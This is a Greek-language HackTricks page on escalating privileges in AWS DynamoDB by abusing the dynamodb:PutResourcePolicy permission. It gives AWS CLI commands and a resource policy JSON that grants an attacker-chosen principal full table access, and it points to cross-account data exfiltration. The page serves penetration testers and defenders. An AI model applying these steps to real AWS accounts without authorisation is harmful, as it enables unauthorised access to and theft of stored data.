AWS - DynamoDB Privesc

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

dynamodb

Για περισσότερες πληροφορίες σχετικά με dynamodb δείτε:

AWS - DynamoDB Enum

dynamodb:PutResourcePolicy, και προαιρετικά dynamodb:GetResourcePolicy

Από τον Μάρτιο του 2024, η AWS προσφέρει πολιτικές βάσει πόρων για DynamoDB (AWS News).

Άρα, αν έχετε το dynamodb:PutResourcePolicy για έναν πίνακα, μπορείτε απλά να δώσετε στον εαυτό σας ή σε οποιονδήποτε άλλο principal πλήρη πρόσβαση στον πίνακα.

Η παροχή του dynamodb:PutResourcePolicy σε έναν τυχαίο principal συχνά συμβαίνει κατά λάθος, αν οι διαχειριστές νομίζουν ότι η παροχή του dynamodb:Put* θα επιτρέψει μόνο στο principal να προσθέτει items στη βάση δεδομένων — ή αν παραχώρησαν αυτό το permissionset πριν τον Μάρτιο του 2024…

Ιδανικά, έχετε επίσης το dynamodb:GetResourcePolicy, ώστε να μην αντικαταστήσετε άλλες ενδεχομένως κρίσιμες άδειες, αλλά να εισάγετε μόνο τις πρόσθετες άδειες που χρειάζεστε:

# get the current resource based policy (if it exists) and save it to a file
aws dynamodb get-resource-policy \
--resource-arn <table_arn> \
--query 'Policy' \
--output text > policy.json

Εάν δεν μπορείτε να ανακτήσετε την τρέχουσα πολιτική, χρησιμοποιήστε απλώς αυτή που δίνει πλήρη πρόσβαση στον πίνακα για τον principal σας:

{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "FullAccessToDynamoDBTable",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<ACCOUNT_ID>:<USER_OR_ROLE>/<USERNAME_OR_ROLENAME>"
},
"Action": [
"dynamodb:*"
],
"Resource": [
"arn:aws:dynamodb:<REGION>:<AWS_ACCOUNT_ID>:table/<TABLENAME>"
]
}
]
}

Αν χρειάζεται να το προσαρμόσετε, εδώ είναι μια λίστα με όλες τις δυνατές ενέργειες του DynamoDB: AWS Documentation. Και εδώ είναι μια λίστα με όλες τις ενέργειες που μπορούν να επιτραπούν μέσω resource based policy AND which of these can be used cross-account (think data exfiltration!): AWS Documentation

Τώρα, με το policy document policy.json έτοιμο, τοποθετήστε το resource policy:

# put the new policy using the prepared policy file
# dynamodb does weirdly not allow a direct file upload
aws dynamodb put-resource-policy \
--resource-arn <table_arn> \
--policy "$(cat policy.json)"

Τώρα, θα πρέπει να έχετε τις permissions που χρειάζεστε.

Post Exploitation

Όσο γνωρίζω, δεν υπάρχει άλλος άμεσος τρόπος να escalate privileges in AWS απλώς έχοντας κάποιες AWS dynamodb permissions. Μπορείτε να διαβάσετε ευαίσθητες πληροφορίες από τους πίνακες (οι οποίες μπορεί να περιέχουν AWS credentials) και να γράψετε πληροφορίες στους πίνακες (οι οποίες μπορεί να ενεργοποιήσουν άλλες ευπάθειες, όπως lambda code injections…) αλλά όλες αυτές οι επιλογές έχουν ήδη εξεταστεί στη DynamoDB Post Exploitation page:

AWS - DynamoDB Post Exploitation

TODO: Ανάγνωση δεδομένων εκμεταλλευόμενοι τα data Streams

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks